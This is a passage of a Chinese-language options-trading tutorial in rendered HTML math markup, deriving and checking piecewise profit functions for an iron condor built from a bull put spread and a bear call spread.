Call净收益：1,108美元（保留全部权利金）</span><br></pre></td></tr></table></figure><p><strong>总收益</strong>：3,944 + 1,108 = <strong>5,052美元</strong></p><p><strong>重要理解</strong>：750美元在700-900美元&quot;收益区间&quot;内，触发线性变化公式</p><h4 id="4-3-3-边界条件验证">4.3.3 边界条件验证</h4><p><strong>关键边界点的精确计算</strong>：</p><p><strong>S = 700美元（下边界）</strong>：</p><ul><li>Bull Put：S≤700区间 → <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bull</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9444em;vertical-align:-0.1944em;"></span><span class="mord">−</span><span class="mord">$1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">056</span></span></span></span></li><li>Bear Call：S≤800区间 → <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bear</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9444em;vertical-align:-0.1944em;"></span><span class="mord">+</span><span class="mord">$1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">108</span></span></span></span></li><li>总收益：-1,056 + 1,108 = <strong>+$52</strong></li></ul><p><strong>S = 800美元（峰顶）</strong>：</p><ul><li>Bull Put：S≥800区间 → <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bull</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9444em;vertical-align:-0.1944em;"></span><span class="mord">+</span><span class="mord">$8</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">944</span></span></span></span></li><li>Bear Call：S≤800区间 → <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bear</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9444em;vertical-align:-0.1944em;"></span><span class="mord">+</span><span class="mord">$1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">108</span></span></span></span></li><li>总收益：8,944 + 1,108 = <strong>+$10,052</strong></li></ul><p><strong>S = 900美元（上边界）</strong>：</p><ul><li>Bull Put：S≥800区间 → <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bull</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9444em;vertical-align:-0.1944em;"></span><span class="mord">+</span><span class="mord">$8</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">944</span></span></span></span></li><li>Bear Call：S≥900区间 → <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bear</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9444em;vertical-align:-0.1944em;"></span><span class="mord">−</span><span class="mord">$8</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">892</span></span></span></span></li><li>总收益：8,944 + (-8,892) = <strong>+$52</strong></li></ul><h4 id="4-3-4-数学保证验证与Iron-Condor收益函数证明">4.3.4 数学保证验证与Iron Condor收益函数证明</h4><p><strong>关键发现</strong>：通过边界条件验证，确认总损益在所有情况下都是<strong>正数</strong>！</p><h3 id="Iron-Condor收益函数的数学证明">Iron Condor收益函数的数学证明</h3><p>设股价为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span>，我们先分别构建两个组件的分段函数：</p><p><strong>Bull Put Spread收益函数</strong>（来自方程1.1）：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bull</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.32em;vertical-align:-1.91em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.35em;"><span style="top:-2.2em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-2.192em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-3.15em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.292em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-4.6em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.85em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">8944</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">100</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">71056</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1056</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">800</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord">700</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">800</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">700</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">3.1</span><span class="mclose">)</span></span></span></span></span></p><p><strong>Bear Call Spread收益函数</strong>（来自方程2.1）：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bear</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.32em;vertical-align:-1.91em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.35em;"><span style="top:-2.2em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-2.192em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-3.15em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.292em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-4.6em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.85em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">1108</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">81108</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">100</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">−</span><span class="mord">8892</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">800</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord">800</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">900</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">900</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">3.2</span><span class="mclose">)</span></span></span></span></span></p><p><strong>Iron Condor总收益函数构造</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Total</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bull</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Bear</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">3.3</span><span class="mclose">)</span></span></span></span></span></p><p>将方程(3.1)和方程(3.2)代入方程(3.3)，得到完整的Iron Condor分段函数：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">Total</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.32em;vertical-align:-1.91em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.35em;"><span style="top:-2.2em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-2.192em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-3.15em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.292em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-4.6em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.85em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">52</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">100</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">69948</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">90052</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">100</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">700</span><span class="mord text"><span class="mord"> or </span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">900</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord">700</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">800</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">if </span></span><span class="mord">800</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">900</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">3.4</span><span class="mclose">)</span></span></span></span></span></p><p><strong>数学验证</strong>：</p><ol><li><p><strong>边界连续性验证</strong>：</p><ul><li>在<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">700</span></span></span></span>: <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">100</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">700</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">69948</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">52</span></span></span></span> ✓</li><li>在<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">800</span></span></span></span>: <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">100</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">800</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">69948</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">90052</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">100</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">800</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10052</span></span></span></span> ✓</li><li>在<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">900</span></span></span></span>: <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">90052</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">100</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">900</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">52</span></span></span></span> ✓</li></ul></li><li><p><strong>最小值证明</strong>：</p><ul><li>在区间<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">700</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">800</span><span class="mclose">]</span></span></span></span>：最小值在<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">700</span></span></span></span>处，值为<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">52</span></span></span></span></li><li>在区间<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">800</span><span class="mpunct">,</span><span class="mspace" 